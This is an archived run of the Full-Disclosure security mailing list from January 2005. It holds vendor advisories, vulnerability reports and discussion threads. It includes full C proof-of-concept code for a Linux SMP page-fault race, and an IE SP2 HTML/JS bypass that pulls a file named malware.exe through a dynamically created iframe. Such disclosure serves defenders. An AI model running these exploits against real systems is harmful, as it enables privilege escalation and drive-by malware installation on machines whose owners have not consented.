      3238970 965c8ca35632af6c9bb1360d1fa42e40
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-devel-2.0.51-8.i586.rpm
       222848 dde33db66f69d76c1a87edca5298b9d7
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/httpd-manual-2.0.51-8.i586.rpm
      1130005 e931dda35b3bdd4261318ee1435b6f6c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/mod_bwshare-2.0.51-8.i586.rpm
        39007 9722beda50813c05b89e85d49da54e11
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/mod_ssl-2.0.51-8.i586.rpm
        86975 f949a8b78974c746446467c077b6e604

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/httpd-2.0.48-15.src.rpm
      6315957 5264ab25976140082ab5310ea8c15ec9

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/httpd-2.0.48-15.i586.rpm
       892409 4f78d678fc9b9da1db1af6779f3627e0


 Notice:
    After performing the update, it is necessary to restart the httpd daemon.
    To do this, run the following command as the root user.
 ---------------------------------------------
 # /etc/init.d/httpd restart
 or
 # /etc/rc.d/init.d/httpd restart
 ---------------------------------------------

 References:

 www.apache.org
   [CHANGES_2.0]
   http://www.apache.org/dist/httpd/CHANGES_2.0

 CVE
   [CAN-2004-0488]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488
   [CAN-2004-0748]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0748
   [CAN-2004-0751]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0751
   [CAN-2004-0809]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0809
   [CAN-2004-0885]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0885
   [CAN-2004-0942]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

 fixed points:

   [Turbolinux 10 Server]
   CAN-2004-0855, CAN-2004-0942

   [Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
   CAN-2004-0488, CAN-2004-0748, CAN-2004-0751,
   CAN-2004-0809, CAN-2004-0885, CAN-2004-0942


 * You may need to update the turbopkg tool before applying the update.
Please refer to the following URL for detailed information.

  http://www.turbolinux.com/download/zabom.html
  http://www.turbolinux.com/download/zabomupdate.html

Package Update Path
http://www.turbolinux.com/update/

============================================================
 * To obtain the public key

Here is the public key

 http://www.turbolinux.com/security/

 * To unsubscribe from the list

If you ever want to remove yourself from this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the word `unsubscribe' in the body (don't include the quotes).

unsubscribe

 * To change your email address

If you ever want to chage email address in this mailing list,
  you can send a message to <server-users-e-ctl at turbolinux.co.jp> with
the following command in the message body:

  chaddr 'old address' 'new address'

If you have any questions or problems, please contact
<supp_info at turbolinux.co.jp>

Thank you!

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFB5lBVK0LzjOqIJMwRAh3gAJ0eDL5ovJpmmFRd007WVmxweA2qzgCgtFXq
80Xj8CGykz854sCVQQXql+A=
=BrUw
-----END PGP SIGNATURE-----






From vh at helith.net  Thu Jan 13 12:04:21 2005
From: vh at helith.net (vh)
Date: Thu, 13 Jan 2005 13:04:21 +0100
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
	<e006fdd505011214194e969f0b@mail.gmail.com>
	<47fe50605011222344c2cbd9a@mail.gmail.com>
	<200501130816.j0D8Fttm006477@turing-police.cc.vt.edu>
Message-ID: <20050113130421.409f8f83.vh@helith.net>

On Thu, 13 Jan 2005 03:15:52 -0500
Valdis.Kletnieks at vt.edu wrote:

> On Thu, 13 Jan 2005 01:34:51 EST, Ill will said:
> > the flaw was in a third party software they used .. as for the pics we
> > won't be releasing them yet
> 
> One has to wonder which tabloid will win the bidding war for the pics. ;)

Why was Mitnick jailed and this guy isn't? ;)

vH
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/0fd711a1/attachment.bin 

From blueboar at thievco.com  Wed Jan 19 10:48:37 2005
From: blueboar at thievco.com (blueboar at thievco.com)
Date: Wed, 19 Jan 2005 14:48:37 +0400
Subject: [Full-Disclosure] Is that your password?
Message-ID: <200501131354.j0DDs1rs002587@lists.netsys.com>

Can you confirm it?

-------------- next part --------------
A non-text attachment was scrubbed...
Name: private_01_full-disclosure.zip
Type: application/octet-stream
Size: 29840 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/8c73faca/attachment.obj 

From cdevine at lab.b-care.net  Thu Jan 13 14:45:26 2005
From: cdevine at lab.b-care.net (Christophe Devine)
Date: Thu, 13 Jan 2005 15:45:26 +0100
Subject: [Full-Disclosure] Re: Linux kernel i386 SMP page fault handler
	privilege escalation
Message-ID: <20050113144526.GA2366@lab.b-care.net>

Paul Starzetz <ihaquer at isec.pl> wrote:

> An exploitable race condition exists in the page fault  handler  if  two
> concurrent  threads  sharing the same virtual memory space request stack
> expansion at the same time. It is  only  exploitable  on  multiprocessor
> machines (that also includes systems with hyperthreading).

Exploiting the race condition itself is quite tricky, especially if the
system load is high. The following proof-of-concept code may be used to
check if an x86 SMP kernel is vulnerable; it is a bit unreliable though.

$ gcc stackgrow.c
$ ./a.out

  [+] in thread 1 (pid = 604)
  [+] in thread 2 (pid = 605)
  [+] rdtsc calibration: 53888
  [+] exploiting race, wait...
  [+] race won (shift: 560)
  [+] kernel might be vulnerable.

$ cat stackgrow.c

/*
 *  expand_stack SMP race PoC exploit
 *
 *  Copyright (C) 2005  Christophe Devine
 *
 *  Vulnerability discovered by Paul Starzetz <ihaquer at isec.pl>
 *  http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/page.h>

#define MMAP_BASE   (void *) (TARGET_BASE + PAGE_SIZE * 2)
#define TARGET_BASE (void *) 0x60000000
#define STACK1_BASE (void *) 0x01000000
#define STACK2_BASE (void *) 0x02000000
#define MAGIC_TEST  0x18A041DE

int pid1, sff;
long long tsc1, tsc2;

void child1_sighandler( int signum )
{
    int *xs1, i, j;

    if( signum == SIGUSR1 )
    {
        for( i = 0; i > sff; i-- ) j = i * i;

        asm volatile( "rdtsc" : "=A" (tsc1) );
        xs1 = TARGET_BASE; *xs1 = MAGIC_TEST;
        signal( SIGUSR1, child1_sighandler );
    }
}   

int child1_thread( void *arg )
{
    printf( "  [+] in thread 1 (pid = %d)\n", getpid() );
    signal( SIGUSR1, child1_sighandler );
    while( 1 ) sleep( 2 );
    return( 0 );
}

int test_race_result( void )
{
    FILE *f;
    int *mtest;
    char line[128];

    unsigned int vma_start_prev;
    unsigned int vma_start;
    unsigned int vma_end;

    if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL )
    {
        perror( "  [-] fopen /proc/self/maps" );
        exit( 1 );
    }

    mtest = TARGET_BASE;

    vma_start_prev = 0;

    while( fgets( line, sizeof( line ) - 1, f ) != NULL )
    {
        sscanf( line, "%08x-%08x", &vma_start, &vma_end );

        if( vma_start == (int) MMAP_BASE - PAGE_SIZE &&
            vma_end   == (int) MMAP_BASE + PAGE_SIZE &&
            vma_start_prev != (int) TARGET_BASE &&
            *mtest == MAGIC_TEST )
            return( 0 );

        vma_start_prev = vma_start;
    }

    fclose( f );

    return( 1 );
}

int child2_thread( void *arg )
{
    long delta[8];
    int *xs2, i, j, fct;

    usleep( 50000 );
    printf( "  [+] in thread 2 (pid = %d)\n", getpid() );

    asm volatile( "rdtsc" : "=A" (tsc1) );
    for( i = 0; i < 4096; i++ ) j = i * i;
    asm volatile( "rdtsc" : "=A" (tsc2) );
    fct = tsc2 - tsc1;

    printf( "  [+] rdtsc calibration: %d\n", fct );

    for( i = 0; i < 8; i++ )
        delta[i] = 0;

    tsc1 = tsc2 = 0;

    printf( "  [+] exploiting race, wait...\n" );

    while( 1 )
    {
        if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE |
                  MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
        {
            perror( "  [-] mmap target" );
            return( 1 );
        }

        j = 0;
        for( i = 0; i < 8; i++ )
            j += delta[i];
        j /= 8;

        sff += ( 128 * j ) / fct;

        if( sff < -16384 || sff > 16384 )
            sff = 0;

        for( i = 7; i > 0; i-- )
            delta[i] = delta[i - 1];

        delta[0] = tsc1 - tsc2;

        kill( pid1, SIGUSR1 );

        for( i = 0; i < sff; i++ ) j = i * i;

        asm volatile( "rdtsc" : "=A" (tsc2) );
        xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0;

        if( test_race_result() == 0 )
        {
            usleep( 10000 );

            if( test_race_result() == 0 )
                break;
        }

        munmap( TARGET_BASE, PAGE_SIZE * 3 );
    }

    printf( "  [+] race won (shift: %d)\n", sff );

    return( 0 );
}

int main( void )
{
    FILE *f;
    char line[1024];
    int nb_cpu, pid2, s;

    if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL )
    {
        perror( "  [-] fopen /proc/cpuinfo" );
        return( 1 );
    }

    nb_cpu = 0;

    while( fgets( line, sizeof( line ) - 1, f ) != NULL )
        if( memcmp( line, "processor", 9 ) == 0 )
            nb_cpu++;

    fclose( f );

    if( nb_cpu <= 1 )
    {
        fprintf( stderr, "This program only works on SMP systems.\n" );
        return( 1 );
    }

    printf( "\n" );

    if( mmap( STACK1_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
        MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
    {
        perror( "  [-] mmap child1 stack" );
        return( 1 );
    }

    if( ( pid1 = clone( child1_thread, STACK1_BASE + 0x4000,
                        SIGCHLD | CLONE_VM, 0 ) ) == -1 )
    {
        perror( "  [-] clone child1" );
        return( 1 );
    }

    if( mmap( STACK2_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
        MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
    {
        perror( "  [-] mmap child2 stack" );
        kill( pid1, SIGKILL );
        return( 1 );
    }

    if( ( pid2 = clone( child2_thread, STACK2_BASE + 0x4000,
                        SIGCHLD | CLONE_VM, 0 ) ) == -1 )
    {
        perror( "  [-] clone child2" );
        kill( pid1, SIGKILL );
        return( 1 );
    }

    waitpid( pid2, &s, 0 );
    kill( pid1, SIGKILL );

    if( WEXITSTATUS(s) != 0 )
        return( 1 );

    printf( "  [+] kernel might be vulnerable.\n\n" );

    return( 0 );
}

-- 
Christophe Devine - http://www.cr0.net:8040/about/


From dan at f-box.org  Thu Jan 13 14:34:37 2005
From: dan at f-box.org (Daniel Bartlett)
Date: Thu, 13 Jan 2005 14:34:37 +0000
Subject: [Full-Disclosure] Is that your password?
In-Reply-To: <200501131354.j0DDs1rs002587@lists.netsys.com>
Message-ID: <J7QlKCjb.1105626877.7602950.dan@f-box.org>

McAffee AV 8 Picked it up as Netsky before firefox had a chance to launch
Winzip.

What are we supposed to confirm??

Cheers,
Daniel.

Daniel Bartlett
London, UK.



From Valdis.Kletnieks at vt.edu  Thu Jan 13 15:31:54 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Thu, 13 Jan 2005 10:31:54 -0500
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities 
In-Reply-To: Your message of "Thu, 13 Jan 2005 13:04:21 +0100."
	<20050113130421.409f8f83.vh@helith.net> 
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
	<e006fdd505011214194e969f0b@mail.gmail.com>
	<47fe50605011222344c2cbd9a@mail.gmail.com>
	<200501130816.j0D8Fttm006477@turing-police.cc.vt.edu>
	<20050113130421.409f8f83.vh@helith.net>
Message-ID: <200501131531.j0DFVsfA015789@turing-police.cc.vt.edu>

On Thu, 13 Jan 2005 13:04:21 +0100, vh said:
> On Thu, 13 Jan 2005 03:15:52 -0500 Valdis.Kletnieks at vt.edu wrote:
> > One has to wonder which tabloid will win the bidding war for the pics. ;)
> 
> Why was Mitnick jailed and this guy isn't? ;)

Umm.. Occam's Razor suggests the answer is because this guy has cell-phone
photos of Somebody Important and a sheep, and Mitnick didn't.... ;)

Either that, or the Secret Service is having a hard time figuring out how
to sucessfully prosecute Jacobson for (among other things) hacking into the
T-Mobile account of the agent who was investigating him.  Prosecutors really
hate it when the basic integrity of the investigation is compromised - this
one is right up there with detectives finding out that the Mafia boss they're
trying to take down has a bug planted in their conference room.....
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/7549ec2e/attachment.bin 

From Thierry at sniff-em.com  Thu Jan 13 15:48:10 2005
From: Thierry at sniff-em.com (Thierry Zoller)
Date: Thu, 13 Jan 2005 16:48:10 +0100
Subject: [Full-Disclosure] Is that your password?
In-Reply-To: <J7QlKCjb.1105626877.7602950.dan@f-box.org>
References: <200501131354.j0DDs1rs002587@lists.netsys.com>
	<J7QlKCjb.1105626877.7602950.dan@f-box.org>
Message-ID: <1628022344.20050113164810@Sniff-em.com>



The usual Worm.
DB> What are we supposed to confirm??

By the way, archives of this list should remove those attachemnts,
because it's pretty bad to spread them like here:
http://seclists.org/lists/fulldisclosure/2004/Dec/0713.html

-- 
Thierry Zoller
mailto:Thierry at sniff-em.com




From joel.esler at rcert-s.army.mil  Thu Jan 13 16:03:49 2005
From: joel.esler at rcert-s.army.mil (Esler, Joel - Contractor)
Date: Thu, 13 Jan 2005 11:03:49 -0500
Subject: [Full-Disclosure] Is that your password?
Message-ID: <41C902FBC7F1EA47933D76631B1704EE2F7D60@rcertsexch.rcert-s.army.mil>

That "it's" your password. DUH!

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Daniel
Bartlett
Sent: Thursday, January 13, 2005 9:35 AM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Is that your password?


McAffee AV 8 Picked it up as Netsky before firefox had a chance to
launch Winzip.

What are we supposed to confirm??

Cheers,
Daniel.

Daniel Bartlett
London, UK.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From mwieser at gmx.de  Thu Jan 13 16:12:56 2005
From: mwieser at gmx.de (Matthias Wieser)
Date: Thu, 13 Jan 2005 17:12:56 +0100
Subject: [Full-Disclosure] Is that your password?
In-Reply-To: <200501131354.j0DDs1rs002587@lists.netsys.com>
References: <200501131354.j0DDs1rs002587@lists.netsys.com>
Message-ID: <200501131712.57105.mwieser@gmx.de>

Am Mittwoch, 19. Januar 2005 11:48 schrieb blueboar at thievco.com:
> Can you confirm it?

This screen saver does not work here. Do you have a linux binary, too?


From ihaquer at isec.pl  Thu Jan 13 16:26:49 2005
From: ihaquer at isec.pl (Paul Starzetz)
Date: Thu, 13 Jan 2005 17:26:49 +0100 (CET)
Subject: [Full-Disclosure] Re: Linux kernel i386 SMP page fault handler
	privilege escalation
In-Reply-To: <20050113144526.GA2366@lab.b-care.net>
Message-ID: <Pine.LNX.4.44.0501131723110.4954-100000@isec.pl>

On Thu, 13 Jan 2005, Christophe Devine wrote:

> Exploiting the race condition itself is quite tricky, especially if the
> system load is high. The following proof-of-concept code may be used to
> check if an x86 SMP kernel is vulnerable; it is a bit unreliable though.

That is not really correct. Exploiting this race condition is very easy, 
however it is always difficult to exploit SMP race conditions if the load 
is high, since you must achieve parallel execution of two threads and the 
scheduler may prevent you from parallel execution in that case.

-- 
Paul Starzetz
iSEC Security Research
http://isec.pl/




From john.herbert at ins.com  Thu Jan 13 16:44:21 2005
From: john.herbert at ins.com (john.herbert at ins.com)
Date: Thu, 13 Jan 2005 22:14:21 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501131643.j0DGhprs019262@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/88ae1c88/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/88ae1c88/attachment.wav 

From jerome.athias at free.fr  Thu Jan 13 15:48:19 2005
From: jerome.athias at free.fr (Jerome ATHIAS)
Date: Thu, 13 Jan 2005 16:48:19 +0100
Subject: [Full-Disclosure] GMail Messages are Vulnerable to Interception
Message-ID: <002801c4f987$4ef448f0$0701a8c0@tipi>

http://dump.hbx.us/gmail_bug_hack/
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 3801 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/73f09255/attachment.bin 

From the_insider at mail.com  Thu Jan 13 14:30:12 2005
From: the_insider at mail.com (The Insider)
Date: Thu, 13 Jan 2005 09:30:12 -0500
Subject: [Full-Disclosure] (no subject)
Message-ID: <20050113143012.8F271101D0@ws1-3.us4.outblaze.com>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:       Internet Explorer
Vendors:           http://www.microsoft.com
Versions:          6.0.2900.2180.xpsp_sp2_rtm.040803-2158
Patched With:      SP2;
Platforms:         Windows
Bug:               Remote File Download Information Bar Bypass
Exploitation:      Remote with browser
Date:              13 Jan 2005
Author:            Rafel Ivgi, The-Insider
e-mail:            the_insider at mail.com
web:               http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Internet Explorer is currently the most common internet browser in the world.
Microsoft Windows XP Service Pack 2 was designed to block any file download
by an information bar which must be clicked and selected with "Download File".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

While trying to download a file Microsoft Internet Explorer
the user gets the information bar. The information bar
mechanism blocks/catches all references to download-able files,
even through javascripts and HTML Event properties.
However Microsoft's Internet Explorer (SP2) DOES NOT CATCH
"body" tag with the HTML "onclick" event which dynamically
created "iframe" tags. For a good, more complicated dynamic
object creation i used the "createElement" function.
This way an attacker can make a user download a file with him just
clicking anywhere on the page (not on an hyperlink).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

Paste into an htm/html file and add "<" at the begining of each line:
------------------------ cut here --------------------------------------
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
!-- saved from url=(0031)http://theinsider.deep-ice.com/ -->
HTML><HEAD><TITLE>The-Insider http://theinsider.deep-ice.com</TITLE>
META http-equiv=expires content="01 Jan  1998 01:01:00 GMT">
META http-equiv=Content-Type content="text/html; charset=windows-1252">
META http-equiv=Content-Language content=en-us>
META content=True name=HandheldFriendly>
META content="MSHTML 6.00.2900.2523" name=GENERATOR></HEAD>

embed>
body onclick='a=document.createElement("\<iframe src=\"http:\/

\/theinsider.deep-

ice.com\/malware.exe\"\>\<\/iframe\>");document.body.appendChild

(a);setTimeout("document.execCommand\(\"refresh\")",1000)'>
cebter><br><br><br><br><br><br>Click AnyWhere You Want</center>
/BODY></HTML>
------------------------ cut here --------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- 
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."
-- 
___________________________________________________________
Sign-up for Ads Free at Mail.com
http://promo.mail.com/adsfreejump.htm




From ismail at kde.org.tr  Thu Jan 13 18:38:43 2005
From: ismail at kde.org.tr (Ismail Donmez)
Date: Thu, 13 Jan 2005 20:38:43 +0200
Subject: [Full-Disclosure] GMail Messages are Vulnerable to Interception
In-Reply-To: <002801c4f987$4ef448f0$0701a8c0@tipi>
References: <002801c4f987$4ef448f0$0701a8c0@tipi>
Message-ID: <200501132038.44139.ismail@kde.org.tr>

On Thursday 13 January 2005 17:48, Jerome ATHIAS wrote:
> http://dump.hbx.us/gmail_bug_hack/
According to Google, this is fixed now.

Cheers,
ismail


From vh at helith.net  Thu Jan 13 18:54:43 2005
From: vh at helith.net (vh)
Date: Thu, 13 Jan 2005 19:54:43 +0100
Subject: [Full-Disclosure] OpenSSHd - Publickey-Authentication - Has 3.9
 problems with 16384Bit DSA-keys?
Message-ID: <20050113195443.48e31770.vh@helith.net>

Can sombody confirm that OpenSSHd is not able to handle 16384-Bit
DSA-Keys?

I don't know if I miss something in the configuration but I didn't read
anything about a size-limitation for Public-Authentication and DSA-Keys
(or RSA, but I use DSA).

I created a 16384-Bit DSA-Key and stored the public part of this key in
./ssh/authorized-keys. I'm able to login with a 4096Bit DSA-Key but the
SSHd wont accapt the 16384Bit-Key and falls back to passwort
authentication.

Did I miss something in the configuration or is that a issue of OpenSSH?
Why does ssh-keygen provide -b 16384 if I can't use it?

I tested that on 3 different OpenBSD 3.6-stable mashines wich use 2
diffrent architectures.

1. normal x86
2. AMD64 in 64Bit-Mode

I asked already the misc at openbsd-Mailinglist but during censorship the
mail wasn't send to the mailinglist yet.

The message I read in the logfiles:

Jan 13 16:15:54 inri sshd[31741]: error: key_read: uudecode
AAAAB3NzaC1kc3MAAAgBAJTlesfdygujbjsC8wWwfIuIutph2WkGoeib3ck4ZBLzZZ4sOkj
Q0XwDn7aEqGs3eXN48H0SY14kox7Gl0PUs
ZgBJxKrVzQhoxusHwq4o6AtvNK+Cwu4M7byGPNDuDrxfiXwvW25WzjpfvSL2gRc0yhhT5DM
KLpCIwIe8Wza4wnAyIGtLfNldfJ+47TG6dZ1DN7gtKQ1soVsif1TmuxRQqtJ9TpBgVT7MYH
WT54dZ2M+Vn2+eB6TkZ5L6g
dmab7f2WECMW2NBQyy7L2cPhhqnm86vaQgAzolbpTBvmvC4CKzEN0aQ2dsWGNYXDpsEh6Qn
ZaN4fuwCud9sRDwVnKoiPKsWMHvYX/5Sel4n6MI7sKDpw46ClRar0YBi50RbkLd1EDIOlkn
W/wgmwjlrKkA+pR+xhdSOLh
VCwS54/WqJVZMYK7Ts661/6WhXY8n1OzTdz7dDx

Looks like a Bug or?

Thanks for any clues.

vH
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/e80be2f1/attachment.bin 

From advisory at cirt.dk  Thu Jan 13 18:27:19 2005
From: advisory at cirt.dk (CIRT Advisory)
Date: Thu, 13 Jan 2005 19:27:19 +0100
Subject: [Full-Disclosure] Trend Micro Control Manager - Enterprise Edition
	3.0 Web application Replay attack
Message-ID: <000601c4f99d$86ee91a0$0201a8c0@CIRT>

The web application are vulnerable to a replay attack, meaning that the
username and password are encrypted but there are not used any form of
timestamp to make this mechanism more advanced and secure.

If it is possible to sniff the traffic when a user login to the
administrative interface, it is possible to replay this sequence and get a
valid login session, with the rights of the user.

Vendors response to this was, it is a feature not a vulnerability and all
the others also have this problem.

Read the full advisory at http://www.cirt.dk/advisories/cirt-28-advisory.pdf

----------------------------------------------------------------------
Danish Incident Response Team
http://www.cirt.dk
----------------------------------------------------------------------

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/bc35bb73/attachment.html 

From frank at knobbe.us  Thu Jan 13 20:07:14 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Thu, 13 Jan 2005 14:07:14 -0600
Subject: [Full-Disclosure] OpenSSHd - Publickey-Authentication - Has
	3.9 problems with 16384Bit DSA-keys?
In-Reply-To: <20050113195443.48e31770.vh@helith.net>
References: <20050113195443.48e31770.vh@helith.net>
Message-ID: <1105646834.76923.34.camel@localhost>

On Thu, 2005-01-13 at 19:54 +0100, vh wrote:
> I created a 16384-Bit DSA-Key and stored the public part of this key in
> ./ssh/authorized-keys. I'm able to login with a 4096Bit DSA-Key but the
> SSHd wont accapt the 16384Bit-Key and falls back to passwort
> authentication.

heh... I'm just curious: Why do you think a 4096 bit key is not
sufficient? 
And, don't you think the session setup of a 16K+ key would be
computationally expensive?

Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/20151829/attachment.bin 

From aluigi at autistici.org  Thu Jan 13 21:16:25 2005
From: aluigi at autistici.org (Luigi Auriemma)
Date: Thu, 13 Jan 2005 21:16:25 +0000
Subject: [Full-Disclosure] Server crash in Breed patch #1
Message-ID: <20050113211625.6da7fb1d.aluigi@autistici.org>


#######################################################################

                             Luigi Auriemma

Application:  Breed
              http://www.brat-designs.com/breed.html
Versions:     <= patch #1
Platforms:    Windows
Bug:          access to NULL pointer
Exploitation: remote, versus server
Date:         13 Jan 2005
Author:       Luigi Auriemma
              e-mail: aluigi at autistici.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Breed is a game developed by Brat Designs (http://www.brat-designs.com)
using their Mercury engine.
It has been released in February 2004.


#######################################################################

======
2) Bug
======


The game server can be easily crashed through the sending of an empty
UDP packet.
In fact if the packet size is equal to zero, the game passes a NULL
pointer to the function used to parse the packet's content.


#######################################################################

===========
3) The Code
===========


http://aluigi.altervista.org/poc/breedzero.zip


#######################################################################

======
4) Fix
======


No fix.
No reply from the vendor.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From jlay at ameriben.com  Thu Jan 13 20:50:40 2005
From: jlay at ameriben.com (James Lay)
Date: Thu, 13 Jan 2005 13:50:40 -0700
Subject: [Full-Disclosure] MBSA not catching 886185
Message-ID: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>

Hey all!

Did a side by side of MBSA and windows update...886185 was on the windows
update list, but not on the MBSA list.  Anyone else seeing this?

James Lay
Network Manager/Security Officer
AmeriBen Solutions/IEC Group
Deo Gloria!!!



From kkadow at gmail.com  Thu Jan 13 21:36:09 2005
From: kkadow at gmail.com (Kevin)
Date: Thu, 13 Jan 2005 15:36:09 -0600
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <200501051453.j05ErtS5031948@turing-police.cc.vt.edu>
References: <dc718edc050104212217392af6@mail.gmail.com>
	<200501051453.j05ErtS5031948@turing-police.cc.vt.edu>
Message-ID: <dc718edc0501131336969bcc8@mail.gmail.com>

On Wed, 05 Jan 2005 09:53:55 -0500, Valdis.Kletnieks at vt.edu
<Valdis.Kletnieks at vt.edu> wrote:
> On Tue, 04 Jan 2005 23:22:27 CST, Kevin said:
> > I see two likely possibilities -- either MediaSentry is not using due
> > diligence in verifying that the material for which they send
> > infringement notices is actually shared from the address they show in
> > the complaint,

It turns out that this is the case.

Just this morning we received a message from the copyright holder (Not
MediaSentry, they've completely ignored our emails and phone calls
through the whole process) stating "Please disregard the notice you
received. It was generated incorrectly, and the case ID or IDs
mentioned are now closed. (A configuration problem with our
anti-piracy vendor's system caused some notices to be sent in error.)
"


> > or somebody on the Internet is spoofing BGP route
> > announcements for unused address space out of larger allocations.
> 
> This is actually quite likely a possibility.  There are enough tier-1's who do
> a piss-poor job of filtering their BGP feeds that if you can inject an
> announcement you can hijack the address block. 

Thanks to BJ Premore from Renesys, we have been able to confirm that
the addresses in question were _not_ hijacked during the time period
where MediaSentry reported an infringing file share.

The only recent "hijack" event covering any of our reported IP
addresses didn't match up with any of the incident timestamps, was
